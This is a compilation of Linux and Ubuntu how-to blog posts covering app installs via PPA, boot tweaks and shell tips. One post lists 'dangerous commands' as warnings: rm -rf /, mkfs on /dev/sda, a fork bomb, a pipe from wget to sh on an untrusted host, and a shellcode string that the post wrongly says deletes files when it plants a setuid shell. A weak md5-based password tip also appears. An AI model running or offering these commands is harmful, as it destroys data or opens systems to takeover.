Boost LibreOffice/OpenOffice Startup

Many of us complaint that LibreOffice loads slowly in startup even in high-end computer. So today I'd like to write a post on how to boost LibreOffice startup by tweaking some options inside it. Although in this post I use LibreOffice, it should works with OpenOffice too.

Please open LibreOffice and open menu "Tools > Options". Under Options window, select "Memory" in the left pane and edit the values as follows:

• Number of steps: 20
• Use for LibreOffice: 256 MB
• Memory per object: 50 MB
• Remove from memory after: 00:05 hh:mm
• Number of objects: 20

If you did it well, it should look like this:

Now, select "View" in the left pane and change as follows:

• Show preview of fonts: uncheck
• Use Anti-Aliasing: uncheck

Once finished, click OK and feel the differences :D
Regards.

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How to Decrease/Speed Up Ubuntu Booting Time

As heard before, Ubuntu has a faster boot time than Windows or Mac, but some users have had a different experience than others. This aim of this article is to explain about it , how it happens and how to make it faster. (thanks to Neil_m)

One factor that influence booting time is a hardware specs, not only about capacity, but whether is the hardware having a good drivers and well supported by Ubuntu. When we boot up the machine, Grub does search for all the necessary drivers to load, this action actually takes a time, a long booting time usually caused by grub does not 'immediately' find the required drivers or some error occurs when the Grub try find that drivers.

One of the ways that help us to speed up ubuntu boot time is removing unnecessary services and drivers that are loaded at boot time. Something that you have to do is tell the Grub to make a new profile. Profile is Grub option that should add to grub configuration file (/etc/default/grub) to inform the boot loader to create a new profile during the next boot loading sequence.

Speed Up Ubuntu Booting Time via Grub
here's to do it, open your grub configuration file (/etc/default/grub) and find this line GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash”, do as follows :

• sudo gedit /etc/default/grub
• replace GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash” with GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash profile”.
• save and exit
• sudo update-grub2
• sudo reboot

Grub does a search for all the necessary drivers to load, Instead of making Grub search for required drivers, the profiling actually makes Grub remember every necessary driver to work, This action will cutting down all of the driver load times. 

after your system up, edit /etc/default/grub and remove some option  which we have added before.

• sudo gedit /etc/default/grub
• replace GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash profile” with GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash”.
• save and exit
• sudo update-grub2

(Other) Using All CPU Cores During Booting
If you have a multi-core CPU/Processor, this following steps may be able to speed up your boot time besides of using the step above, follow these instructions:

• sudo gedit /etc/init.d/rc
• find this line : CONCURRENCY=none or CONCURRENCY=makefile
• replace with : CONCURRENCY=shell
• save and exit

at least my booting time increased by 7 Sec than before, what about you ?

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Lugaru HD: Third Person Action Game for Linux

Lugaru (pronounced Loo-GAH-roo) is a DRM-free, third-person action game available for Mac, Windows, and Linux. The main character, Turner, is an anthropomorphic rebel bunny rabbit with impressive combat skills. In his quest to find those responsible for slaughtering his village, he uncovers a far-reaching conspiracy involving the corrupt leaders of the rabbit republic and the starving wolves from a nearby den. Turner takes it upon himself to fight against their plot and save his fellow rabbits from slavery.

via: Wolfire Games

Lugaru HD has a lot of controls with many combinations to perform many martial-art techniques, but don't worry, it comes with tutorial mode so you can do some practices before jump into the real battlefield.

If you still remember, Lugaru HD was included in Humble Indie Bundle that meant you have to pay for playing Lugaru HD and other games included in the bundle. Fortunately, on May 11th 2010, Wolfire Games announced that Lugaru HD was open-sourced, so you can download it, modify it, and redistribute it for free.

Lugaru HD can be installed easily by adding Playdeb repository:

• echo "deb http://archive.getdeb.net/ubuntu oneiric-getdeb games" | sudo tee /etc/apt/sources.list.d/playdeb.list
• wget -q -O- http://archive.getdeb.net/getdeb-archive.key | sudo apt-key add -
• sudo apt-get update

Please change "oneiric-getdeb" with your distributiion. In case you are using Natty change it to "natty-getdeb".
Once, Playdeb repository has been added, type the following command to install Lugaru HD:

• sudo apt-get install lugaru

Lugaru HD is available for other Linux distributions, Windows, and Mac OSX. Please click here for further information.

For additional information, here is a demo video about Lugaru HD:




Regards.

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Introducing HUD 'Head-Up Display' Ubuntu

Yesterday, Mark Shuttleworth has introduced a new features in Ubuntu 12.04 Precise Pangolin that's called HUD, HUD has expected to be a new form of application menu in Ubuntu, just now HUD has been introduced and ready to install in via PPA.

HUD is a short of 'Head-Up Display', HUD is a one of smart innovation from Unity Team that designed for Ubuntu 12.04 which integrates application menu to the Unity-desktop. HUD is designed as a semi-Dash, Users are allow to access application menu, recent history, and standard application command (undo, redo, search, etc) trough search button that stick dash. See following video to get clear illustration of HUD 'Head-Up Display'.

HUDs Menus are serve in two purposes. They act as a standard way to invoke commands which are too infrequently used to warrant a dedicated piece of UI real-estate, like a toolbar button, and they serve as a map of the app’s functionality, almost like a table of contents that one can scan to get a feel for ‘what the app does’. It’s command invocation that we think can be improved upon, and that’s where we are focusing our design exploration.

The HUD solves many of these issues, by connecting users directly to what they want. Check out the video, based on a current prototype. It’s a “vocabulary UI”, or VUI, and closer to the way users think. “I told the application to…” is common user paraphrasing for “I clicked the menu to…”. The tree is no longer important, what’s important is the efficiency of the match between what the user says, and the commands we offer up for invocation. (markshuttleworth.com)

The Feature of HUD
Apparently there are plans of Unity Team to make HUD integrate with voice recognition, gesture and touch, if it is realized, of course there will be good news for us and will probably be good prospect for Ubuntu phone to be implemented on. 

Install Unity 5.1.0 with HUD Integration in Ubuntu 12.04 via PPA
You can tried to install HUD in Ubuntu 12.04  Precise Pangolin, but please consider that a HUD project is still in development and may unstable, your critics and suggestions probably needed for future improvements. do following to install Unity 5.1.0 with HUD integration in Ubuntu 12.04 Precise Pangolin.

• sudo add-apt-repository ppa:unity-team/hud
• sudo apt-get update && sudo apt-get dist-upgrade

Once installed restart your system (log out then log in again), to start using HUD press the 'Alt' key.

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Asturix On: New Comer Desktop Environment with the Power of Web

So far, we already know many kinds of desktop environments such GNOME, KDE, LXDE, XFCE, Unity, Openbox etc. But, have you ever imagined such a web based desktop environment? Now, there is a new project which try to create web based desktop environment for Linux called Asturix On. The key features of this desktop environments are:

Web based
All of the Asturix On user interface is programmed with only web technologies. Yes, just HTML5, CSS3 and Javascript. That's pretty cool! Cool for the developer because we can build and extend all the desktop components easily. And cool for the user because the interface results in a highly animated and fresh experience!

Beautiful and simple
With a small top panel (only 24px height!) you won't be distracted. There aren't oversized docks or tool bars to reduce your display's usable space. With the top panel you can switch tabs, access desktops or monitor system information thanks to indicators. When you are on the desktop, swipe your mouse to access applications, widgets or places. Just work.


Graceful degradation
Don't worry if you don't have a super-computer with 3D effects. Asturix On will automatically default to a 2D window manager. The user experience is unaffected, so don't hesitate to try Asturix On on an older system.

Tablet capable
The desktop is based on Qt and the UI uses Sencha, two libraries that are touch capable and can be ported to a lot of mobile devices.

For a brief demo, please take a look at this video:

Future plans
Asturix On is still in Alpha stage and have not completed yet, but it will be completed and announced in a month with features additions such as ability to access desktop via cloud, localization, more widgets, etc.

Well, if you have any questions or feedback, please visit Asturix On homepage.

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LibreOffice 3.4.5 Available in PPA

LibreOffice 3.4.5 has been released January 16, 2012, LibreOffice 3.4.5 availabe in Linux, Windows, and Mac.

What's New Features inside :

• Redesigned Move/Copy Sheet dialog (Edit->Sheet->Move/Copy) to improve its ergonomics. (Joost Eekhoorn, Christoph Noack)
• Improve HTML export with an image thumbnail gallery of the slides on the contents page. (Julien Nabet, Michael Meeks).
• Fonts which are tuned for use with a specific script, e.g. Arabic, Hebrew, Malayalam, etc. now show an additional preview of some sample text in the target script. (Caolán McNamara, Red Hat, Inc.)
• Color Charts: Adding and Removing color charts is now possible from: Tools->Options->Charts->Default Colors (Rob Snelders).
• Named range as data source: With 3.4 it is now possible to use a named range as the data source for DataPilot.
• Text Rendering: Linux text-rendering improvements. Text is now drawn via Cairo with the same subpixeling options as other Cairo-using apps. The outcome is that text in LibreOffice is rendered the same as the rest of your desktop.

Upgrade LibreOffice 3.4.5 via PPA
if you have install any previous version of LibreOffice before this, you can upgrade it to LibreOffice 2.4.5 trough following command :

• sudo add-apt-repository ppa:libreoffice/ppa
• sudo apt-get update
• sudo apt-get upgrade

Install LibreOffice 3.4.5 via PPA
if you haven't install  libreoffice before, try the latest LibreOffice trough following this.

• sudo add-apt-repository ppa:libreoffice/ppa
• sudo apt-get update
• sudo apt-get install LibreOffice

Download LibreOffice 3.4.5 
if you are not Ubuntu user, you can download and install LibreOffice 3.4.5 directly though this links :

• http://www.libreoffice.org/download/

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Enable WebGL in Google Chrome

For those who doesn't know what WebGL is:

WebGL (Web-based Graphics Library) is a software library that extends the capability of the JavaScript programming language to allow it to generate interactive 3D graphics within any compatible web browser. WebGL code executes on a computer display card's Graphics Processing Unit (GPU), which must support shader rendering.

WebGL is a context of the canvas HTML element that provides a 3D computer graphics API without the use of plug-ins.[2] The specification was released as version 1.0 on March 3, 2011.[1] WebGL is managed by the non-profit Khronos Group.

via: Wikipedia

WebGL is required to play some games or run some applications on Google Chrome e.g. SKID Racer game on Chrome Web Store. WebGL should be activated by default in Google Chrome, if you are unsure about it, please check the WebGL capability by visiting this site and choose whatever test you want. If your Google Chrome supports WebGL, the above picture should appear on your browser.

In case, Google Chrome doesn't activate WebGL capability because unsupported graphics card (such as Intel GMA), you can force it to enable WebGL by executing Google Chrome with "--ignore-gpu-blacklist" argument. Here's is the example:

• google-chrome --ignore-gpu-blacklist

If you want to add the "--ignore-gpu-blacklist" argument to Google Chrome shortcut on menu or launcher, please open file "/usr/share/applications/google-chrome.desktop" with your favorite text editor (root privileges needed) and change the "Exec" value with the following:

• /opt/google/chrome/google-chrome --ignore-gpu-blacklist %U

Please see the figure below for more details:

Once edited, save the changes and do a WebGL test.

Regards :)

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Enable Multi Display Wallpaper on XFCE (Xubuntu)

Have you ever visited DeviantArt especially in multi display wallpaper section? If yes, you should know what I mean with "Multi Display Wallpaper". It is just like usual wallpaper but designed to be used in multi display. I have written an article about setting up dual monitor on XFCE (Xubuntu), by default XFCE uses single wallpaper for each monitor, so you must set up wallpaper one by one for each monitor. With this trick you can use one wallpaper which automatically stretched to another monitor as the figure below:

As you can see, first screen has a part of the wallpaper and the rest is given to another. OK! Let's get started doing that.

Open XFCE Settings Editor from "Applications Menu > Settings > Settings Editor", on the left pane navigate to "xfce4-desktop" and on the right pane select "backdrop > screen0". Add a new property by clicking the "New" button and fill in the form with the following entries:

• Name: xinerama-stretch
• Type: Boolean
• Value: (check the checkbox)

Click "Save", logout and login back. Now you can configure wallpaper from the main display. If you want to download many multi display wallpapers, please visit DeviantArt.

Regards.

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Install Emerald Theme Manager on Ubuntu 11.10 Oneiric Ocelot

Emerald is beautiful window decorator which has a lot of fans back then. Unfortunately, Emerald is not included in Ubuntu Oneiric repositories so you can not easily. So, today I'd like to show you how to install Emerald on Ubuntu 11.10 Oneiric Ocelot both compiling via sources and installing via PPA. Before we jump, please take a look at a sample of Emerald Window Decorator theme (image via: WebUpd8)

Installing from source
Let's jump into our first method "Installing from sources". I found this method yesterday on Ubuntuforums.org, so please refers to the appropriate thread for further information.
Open the Terminal and type the following command to install applications and tools for compiling Emerald from sources:

• sudo apt-get install git autoconf libtool libwnck1.0-cil-dev libwnck-dev intltool libdecoration0-dev

Once installed, you must download the Emerald source and patche to work on Unity (Ubuntu 11.04 and Ubuntu 11.10), compile and then install it. Those steps can be done by typing the following commands:

• wget http://cgit.compiz.org/fusion/decorators/emerald/snapshot/emerald-0.9.4.tar.gz
• tar -xf emerald-0.9.4.tar.gz
• cd emerald-0.9.4
• cd src
• rm main.c
• wget http://www.learn-digital.com/ubuntu/emerald-0.9.4/src/main.c
• cd ..
• ./autogen.sh && make clean && make distclean && ./configure --prefix=/usr && make && gksu make install

Installing via PPA
Thanks to Andrew @WebUpd8 who provides PPA for Emerald so we can install it easily on Ubuntu 11.10 Oneiric Ocelot. Type the following command to install Emerald via PPA:

• sudo add-apt-repository ppa:nilarimogard/webupd8
• sudo apt-get update
• sudo apt-get install emerald

Once Emerald installed on your system, please select a theme from Emerald Theme Manager and activate by typing:

• emerald --replace

To have Emerald run at startup you must configure it via CompizConfig Settings Manager a.k.a CCSM. Have not installed CCSM yet? Type this command:

• sudo apt-get install compizconfig-settings-manager

Then open CompizConfig Settings Manager (CCSM), on the left pane select "Window Decoration" plugin and under "Command", enter: "emerald --replace".

Regards.

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7 Most Dangerous Linux Commands

If you often read many of blog posts or user posts in forum or social media, you should be aware when he/she advised you to run such a command on Terminal because the command you run might be harmful for your system. Today I'd like to share you 7 most dangerous Linux commands to you. Enjoy :)

First command:

• rm -rf / #with root privilege such as 'sudo'

This command will delete your entire files on mounted devices! Here is the demo video about what will you get after running this command:




Second command:

• char esp[] __attribute__ ((section(".text"))) /* e.s.p
• release */
• = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
• "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
• "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
• "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
• "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
• "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
• "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
• "cp -p /bin/sh /tmp/.beyond; chmod 4755
• /tmp/.beyond;";

Hexadecimal code! Same as the first command, it will delete entire files on your mounted devices.

Third command:

• mkfs.ext3 /dev/sda

This command will format your /dev/sda device and of course will delete all files on it.

Fourth command:

• :(){:|:&};:

Will run too many processes on your system and causes the computer hang up!

Fifth command:

• any_command > /dev/sda

Will write a raw data and all files on /dev/sda will be replaced by the raw data.

Sixth command:

• wget http://sumber_tak_terpercaya -O- | sh

Wil download a shell script from untrusted source and run it when the download finished.

Seventh command:

• mv /home/username/* /dev/null

Will move home directory to a place that actually doesn't exist. In other words, it will delete your home directory.

So be careful and do a check before running such commands on your system.

Regards.

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Sun Java 6 Now Can Be Installed on Ubuntu via PPA, Cinnamon too!

As we all know, Sun Java 6 are being removed from Ubuntu for the following reasons:

• As of August 24th 2011, Canonical no longer have permission to redistribute new Java packages as Oracle has retired the “Operating System Distributor License for Java”.
• Oracle has published an advisory about security issues in the version of Java currently in the partner archive. Some of these issues are currently being exploited in the wild.
• Due to the severity of the security risk, Canonical released a security update for the Sun JDK browser plugin which disables the plugin on all machines.
• In the near future, Canonical will remove all Sun JDK packages from the Partner archive. This will be accomplished by pushing empty packages to the archive, so that the Sun JDK will be removed from all users machines when they do a software update. Users of these packages who have not migrated to an alternative solution will experience failures after the package updates have removed Oracle Java from the system.

Install Sun Java 6 on Ubuntu via PPA
Of course, this news brings some panic to many Ubuntu users, but don't worry! You can still install Sun Java 6 via PPA:

• sudo apt-add-repository ppa:flexiondotorg/java
• sudo apt-get update
• sudo apt-get install sun-java6-jre sun-java6-plugin

The above PPA contains Sun Java 6 package for Ubuntu 10.04 Lucid Lynx to Ubuntu 12.04 Precise Pangolin!

Install Cinnamon on Ubuntu via PPA
There is also another news about Cinnamon, it can be installed on Ubuntu via PPA with some addition "Cinnamon Settings" for easy Cinnamon configuration.

By installing via PPA, you can have the latest release of Cinnamon while updating your system.

• sudo add-apt-repository ppa:merlwiz79/cinnamon-ppa
• sudo apt-get update
• sudo apt-get install cinnamon cinnamon-session cinnamon-settings

The above PPA can only work with Ubuntu 11.10 Oneiric Ocelot and upcoming Ubuntu 12.04 Precise Pangolin.

via: Ubuntugeek and WebUpd8

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10 Usefull FFmpeg Command That Should be Known

FFmpeg is a complete solution for record, convert and stream audio and video in Linux.
 
FFmpeg is OpenSource multimedia framework which has ability to decode, encode, transcode, mux, demux, stream, filter, and more of audio / video file. FFmpeg almost supports most audio/video format that currently exist, FFmpeg contains libavcodec, libavutil, libavformat, libavdevice, libswscale and libswresample and can be used by applications (3rd party application).

We pick up 10 usefull FFmpeg command that you should know, sometimes you will really need the following command when you want change/convert some audio/video format, or doing some other jobs that involve video or audio in Linux OS family.

Getting Information of video/audio file

• ffmpeg -i video.avi

Encoding a video for iPod/iPhone (avi to mp4)

• ffmpeg -i input_video.avi input -acodec aac -ab 128kb -vcodec mpeg4 -b 1200kb -mbd 2 -flags +4mv+trell -aic 2 -cmp 2 -subcmp 2 -s 320x180 -title X output_video.mp4

Encoding a video for the PSP (avi to mp4)

• ffmpeg -i input_video.avi -b 300 -s 320x240 -vcodec xvid -ab 32 -ar 24000 -acodec aac output_video.mp4

Explanations :
you can change the value of parameters given or change source file format (mpeg, flv, others), here some explanations for two command above.
    Source : input_video.avi
    Audio codec : aac
    Audio bitrate : 128kb/s
    Video codec : mpeg4
    Video bitrate : 1200kb/s
    Video size : 320px par 180px
    Generated video : output_video.mp4

Extracting Video to Mp3

• ffmpeg -i input.avi -vn -ar 44100 -ac 2 -ab 192 -f mp3 output.mp3

Convert avi  to mpg

• ffmpeg -i input_video.avi output_video.mpg

Convert avi to gif (a moving picture)

• ffmpeg -i input_video.avi output_gif.gif

Add some sound to a video (dubbing)

• ffmpeg -i sound.wav -i input_video.avi output_video.mpg

Convert avi to flv (otherwise)

• ffmpeg -i input_video.avi -ab 56 -ar 44100 -b 200 -r 15 -s 320x240 -f flv output_video.flv
• ffmpeg -i input_video.flv output_video.avi

Convert/Compress avi to divx

• ffmpeg -i video_origine.avi -s 320x240 -vcodec msmpeg4v2 video_finale.avi

Convert avi to mpeg for dvd players

• ffmpeg -i input_video.avi -target pal-dvd -ps 2000000000 -aspect 16:9 output_video.mpeg

Install FFmpeg in Ubuntu
You don't need to worry if FFmpeg has not been exsist in your system, you can simply install it through apt-get. you don't need to add some external repository or PPA because FFmpeg always available in default Ubuntu repository.

• apt-get install ffmpeg

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10+ Useful Commands for Linux Users

Linux command prompt is the most interesting place in the system. You can do a lot with it. You can do everything you want and get the "exact" answer about what is going on. Here are some useful Linux commands you could take some advantages from.

1. Save man-page asPDF file
For example, you want save the manpage of APT to PDF file.

• man -t apt | ps2pdf - apt.pdf

2. Duplicate installed packages from one machine to the other (RPM-based systems)

• ssh root@remote.host "rpm -qa" | xargs yum -y install

3. Stamp a text line on top of the PDF pages
This command will add a stamp "This text gets stamped on the top of the pdf pages." on top of each PDF pages.

• echo "This text gets stamped on the top of the pdf pages." | enscript -B -f Courier-Bold16 -o- | ps2pdf - | pdftk input.pdf stamp - output output.pdf

4. Display the number of connections to a MySQL Database

• mysql -u root -p -BNe "select host,count(host) from processlist group by host;" information_schema

5. Create a local compressed archive (tarball) from remote host directory

• ssh user@host "tar -zcf - /path/to/dir" > dir.tar.gz

6. View a brief log over ssh

• ssh -t remotebox "tail -f /var/log/remote.log"

7. Print diagram of user or group

• awk 'BEGIN{FS=":"; print "digraph{"}{split($4, a, ","); for (i in a) printf "\"%s\" [shape=box]\n\"%s\" -> \"%s\"\n", $1, a[i], $1}END{print "}"}' /etc/group|display

8. Draw kernel module dependency graph

• lsmod | perl -e 'print "digraph \"lsmod\" {";<>;while(<>){@_=split/\s+/; print "\"$_[0]\" -> \"$_\"\n" for split/,/,$_[3]}print "}"' | dot -Tpng | display -

9. Generate strong password

• read -s pass; echo $pass | md5sum | base64 | cut -c -16

10. Find all files larger than 500M and less than 1GB

• find / -type f -size +500M -size -1G

11. Limit the cpu usage of a process

• sudo cpulimit -p pid -l 50

via: Unixmen

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Darktable : Open Source/Free Adobe Lightroom for Ubuntu

Darktable is an open source photography workflow application and RAW developer. A virtual lighttable and darkroom for photographers. 

Darktable is an Open Source application that's equal to Adobe Lightroom, this is an other interesting FOSS project that focus on Graphic processing which ability to develop (process) raw images and enhance them. Darktable interface is really good and easy to understand besides of it's contain of many production tool (image operation, white balance, exposure control, tone mapping), plugin and effect which can use it.

This application is fully safe for a beginner, all editing process is fully non-destructive and only operates on cached image buffers for display. The full image is only converted during export.

Darktable Features
Currently darktable version provider a 38 image operation plugins, besides of some features that I've mention above, here list of Plugins and effect that can use taken from its website :

Color image operations:

• overexposed: This module is a useful feature that displays pixels outside dynamic range.
• velvia: The velvia module enhances the saturation in the image; it increases saturation on lower saturated pixels more than on high saturated pixels.
• channel mixer: This module is a powerful tool to manage channels. As entry, it manipulates red, green and blue channels. As output, it uses red, green, blue or gray or hue, saturation, lightness.
• color contrast
• color correction: This module can be used to modify the global saturation or to give a tint.
• color zones: This module allows to selectively modify the colors in your image. It is highly versatile and allows every transformation possible in the LCh colorspace.

Effects/artistic image post processing:

• framing: This module allows you to add an artistic frame around an image.
• split toning: Original split toning method creates a two color linear toning effect where the shadows and highlights are represented by two different colors. darktable split toning module is more complex and offers more parameters to tweak the result.
• vignetting: This module is an artistic feature which creates vignetting (modification of the brightness/saturation at the borders).
• watermark: The watermark module provides a way to render a vector-based overlay onto your image. Watermarks are standard SVG documents and can be designed using Inkscape. The SVG processor of darktable also substitutes strings within the SVG document which gives the opportunity to include image-dependent information in the watermark such as aperture, exposure time and other metadata.
• soften: This module is an artistic feature that creates the Orton effect also commonly known as softening the image. Michael Orton achieved such result on slide film by using 2 exposures of the same scene: one well exposed and one overexposed; then he used a technique to blend those into a final image where the overexposed image was blurred.
• grain: This module is an artistic feature which simulates the grain of a film.
• highpass: This module acts as highpass filter.

find more information about darktable feature here

Install darktable in Ubuntu
How to install darktable is simply easy, Darktable has available in PPA so you can install trought it, do as follows :

• sudo apt-add-repository ppa:pmjdebruijn/darktable-release-plus
• apt-get install darktable exiv2

Darktable in action

Comparison : Darktable an Adobe Lightroom
Actually, I have never compare it directly, but someone in youtube has a brief explanation regarding to it, see following video to see the comparison of Darktable and Adobe lightroom to do such RAW photo editing. (this video is taken from youtube that's belong to TutorialGeek )

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Record Your Screen Activity with Eidete Screencaster

Eidete is an application which can record your screen activity and save it to video. It similiar with GTK RecordMyDesktop and Kazaam Screencaster (Linux) or Camtasia Studio (Windows). Eidete is being developed for Elementary project which provides a simple and easy-to-use user interface. By now, Eidete has the following features:

• encoding to webm
• selection of the area to be recorded
• display of the pressed keys
• audio recording

Eidete is still in its development stage, so there will be a lot features addition or bug fixing in the future. Here are some "todo" of this project:

• create new contracts for facebook, youtube and others (waiting for gnome-online-accounts to be ready)
• improve and internationalize the key view

Install Eidete on Ubuntu
Ubuntu 11.10 Oneiric Ocelot and upcoming Ubuntu 12.04 Precise Pangolin users can install Eidete easily by typing the following command:

• sudo add-apt-repository ppa:shnatsel/eidete-daily
• sudo apt-get update
• sudo apt-get install eidete

Eidete has simple and easy-to-use interface, so I think there is no difficulties on using this application.

For additional information, I'd like to show you the demo video of Eidete:





Regards :)
Note: Eidete is still under its development stage. You might encounter some bugs and some features have not been implemented yet.

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Ubuntu TV : Just TV. No wires. No boxes.

Ubuntu TV project is a new project from Canonical (Ubuntu) which inspired by a Smart TV, Canonical comes with a passion to provide a fully entertainment to user and enter the Smart TV market without any costs and complexities, Ubuntu TV combine a broadcast, time shift, online box office, personal cloud, apps and disk media experiences in one package.

The Ubuntu TV is planned to initially target in the US and China (will changed if there is a deal with local content provider) and is said it will be available by the end of 2012. Google and Apple, who are expected to unveil prominent TV products this year, apparently Cononical will compate with Google and Apple to unveil prominent TV products this year.

Ubuntu TV Architecture
at a glance, the interface is not much different from Ubuntu current release (Unity interface), The layered architecture of Ubuntu TV is Hardware -> Ubuntu Core (Linux Kernel) ->  Applications -> Lenses -> Scopes ->Unity.

Ubuntu TV Architecture

Ubuntu One Packed in Ubuntu TV
Ubuntu One will built-in to the Ubuntu TV, so you can connect to your photos and videos that saved in your personal cloud.

Ubuntu TV Features And Advantages
Taken from its official site, Ubuntu TV contain of some features as follows :

• The official ‘Ubuntu TV’ site lists a features to be found in the OS.
• Easy integration of broadcast, online services and applications
• Modern broadcast TV experience – search , watch, record and play
• Millions of movies and TV shows streamed over the web on demand
• Shared-screen experience with iOS, Android and Ubuntu devices
• Pause on one device, resume on another
• Ubuntu One integration
• App framework

More closely to Ubuntu TV
This screenshoot and video may give you brief visualization of Ubuntu Tv (screenshoot and video taken from ubuntu.com). 

Get Closer with Ubuntu TV

Ubuntu TV Guide

Search and play your favorite

Ubuntu TV Specification
Here are Hardware specification of Ubuntu TV taken from its official:

• Support for ARM and x86 boards1
• Local storage support for DVR functionality2
• Minimum disk space: 2GB
• Minimum memory: 1GB
• Minimum video memory: 512 MB
• HDMI
• CEC support
• Digital audio out
• Hardware accelerated video capable of displaying content at 1080p3
• Network connectivity: Gigabit Ethernet & Wireless b/g/n
• USB host support
• Bluetooth HCI interface
• Modular tuner for broadcast TV (Satellite, Cable, Terrestrial)

Felt interested or want to involved inside Ubuntu TV, Visit http://www.ubuntu.com/tv.

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Give Cinnamon a New Look with Minty Theme

On my past two posts, we've talked about what Cinnamon is and how to install it on Ubuntu, Linux Mint, Fedora, and openSUSE. If you have not heard yet about Cinnamon please click here. Lazy to read whole post? Here's a brief description:

Cinnamon is a fork of GNOME Shell developed by Linux Mint Team that brings innovative features of GNOME Shell and simple layout of GNOME 2.

Cinnamon is a good innovation which is trying to combine the hi-tech GNOME Shell and simplicity of GNOME 2. Unfortunately, Cinnamon can not use usual GNOME Shell themes, if you force it, there will be something messy on "Application Launcher". So today, I'd like to share s new theme created for Cinnamon called "Minty".

As you can see at the picture above, this theme have a "minty" green highlight color and a clean look interface.It's suitable for you who are looking for latest GNOME version with simple and lightning fast interface.

Install Minty theme on Ubuntu 11.10 Oneiric Ocelot
Ubuntu Oneiric users can install Minty theme easily by typing the following command:

• sudo apt-add-repository ppa:satyajit-happy/themes
• sudo apt-get update
• sudo apt-get install cinnamon-theme-minty

Although, Cinnamon is usable by now, it's in early development stage. You might encounter some bugs, errors or another annoying stuff. Please use with your own risk!

Regards.

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Ubuntu One Files Now Available in App Store

Ubuntu One Files is like the iCloud funtion on iOS devices, it will automatically send photos from the iOS device directly to one's Ubuntu One account (and other connected devices) every time the iOS' Files app is opened.

Since 5 Jan 2012, Ubuntu One Files (Version 1) was landed in App Store and available for install, this version is compatible with iPhone, iPod touch, and iPad or that Requires iOS 4.0 or later. For now, not only Ubuntu user enjoy free 5GB of cloud storage from Ubuntu One but also iPhone/iPad user can enjoy it.

Using Ubuntu One Files App, users can access and manage their files including music and photos which stored on Canonical's Ubuntu One cloud storage. The basic service of Ubuntu One is Free 5 GB storage, if you feel less or if your free services is out you can upgrade the service into 20 GB of storage with cost  3.99$ per month or 39.99$ per year (available 30 days trial).

Download Ubuntu One Files for IOS (iPhone/iPad/Ipod)
Download Ubuntu One File through following links, lets enjoy 5 GB free storage from canonical, the more you share the more you get.

• Download Ubuntu One Files via Ubuntu One Official Website
• Download Ubuntu One Files via App Store

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Mozilla Firefox 9 Finally Lands on Official Ubuntu Repository

Recently, I have written about how to install Mozilla Firefox 9 on Ubuntu via Launchpad PPA. If you are aware installing such application from Launchpad PPA that means from "untrusted source", you might want to install it via Official Ubuntu repository called "Security Update".

If you have not activated "Security update" repository yet, please open "Software Properties", navigate to "Updates" tab and activate "Important security updates (oneiric-security)".

Click "Close" and Reload the APT source file or type the following command:

• sudo apt-get update
• sudo apt-get dist-upgrade

Once installed, you can enjoy your newly Mozilla Firefox 9 :)

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BlankOn Panel Over Ubuntu - a new experience of menu/application launcher

Blankon is one of popular ubuntu based distribution that developed by Indonesian Linux Mover Foundation and BlankOn developer team. In their latest release, Blankon (Blankon 7 code name Pattimura) bring something difference that called BlankOn panel.

BlankOn panel is a default application launcher in BlankOn, unlike some alternative menu launcher (MGSE, Mate, Cinnamon, etc) which concentrate its appearance so closed to Gnome 2 look, BlankOn panel give a completely different looks but it's great! see following screenshot.

BlankOn Panel over Ubuntu

BlankOn Panel in Action

Install BlankOn Panel in Ubuntu
Actually, I want to try this a long time ago, but just realized at this time. Before we can install it in ubuntu, we should add following repository to your package list (/etc/apt/source.list).

• Add BlankOn Repositories

deb http://kambing.ui.ac.id/blankon pattimura main restricted extras extras-restricted
deb-src http://kambing.ui.ac.id/blankon pattimura main restricted extras extras-restricted

deb http://kambing.ui.ac.id/blankon pattimura-security main restricted extras extras-restricted
deb-src http://kambing.ui.ac.id/blankon pattimura-security main restricted extras extras-restricted

deb http://kambing.ui.ac.id/blankon pattimura-updates main restricted extras extras-restricted
deb-src http://kambing.ui.ac.id/blankon pattimura-updates main restricted extras extras-restricted

• apt-get update - so the repository added completely to your system
• apt-get install blankon-panel

Running BlankOn Panel in Ubuntu
You can try run BlankOn panel via terminal, by type `blankon-panel`, see the ubuntu logo at the top left corner of your desktop (in a line with gnome panel) there's a way to BlankOn panel.

Once i run it, it was look not so neat, because it's dualism menu with unity launcher and sometimes blankon panel button also overlap with Global Menu so there make it does not visible, but yeah! it was not designed for Ubuntu.

Ubuntu Global Menu

to make it looks more tidy, you can remove the global menu through following:

• sudo apt-get remove appmenu-gtk3 appmenu-gtk appmenu-qt
• sudo reboot

if you want to reinstall it do as follows :

• sudo apt-get install appmenu-gtk3 appmenu-gtk appmenu-qt
• reboot

if you intend to use it permanently, you can add blankon-panel in your startup application list or even install BlankOn in your desktop.

BlankOn Panel in Startup Application list

You can visit this links to know much about blankOn and BlankOn Panel.

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Cinnamon Can Be Installed on Fedora and openSUSE too!

Let's have a brief review:

Cinnamon is a fork of GNOME Shell developed by Linux Mint Team that brings innovative features of GNOME Shell and simple layout of GNOME 2.

Recently, I have written about how to install Cinnamon on Ubuntu 11.10 Oneiric Ocelot. If you are using Fedora or openSUSE you might be interested in install Cinnamon on your system. Does it work? Of course, Yes!. Today, I'd like to share my blog walking experience at WebUpd8 on how to install Cinnamon on Fedora and openSUSE.

Install Cinnamon on Fedora:
Simply add a repository created by Fedora user to your system and then install Cinnamon. You can do those steps by typing the following command:

• su -
• curl http://repos.fedorapeople.org/repos/leigh123linux/cinnamon/fedora-cinnamon.repo -o /etc/yum.repos.d/fedora-cinnamon.repo
• yum install cinnamon

Once installed, please logout, select Cinnamon on "Session" and then login back.

Install Cinnamon on openSUSE:
First thing first, download Cinnamon from here. Once downloaded double click on it to add Cinnamon and some GNOME Shell extensions repository on your system.

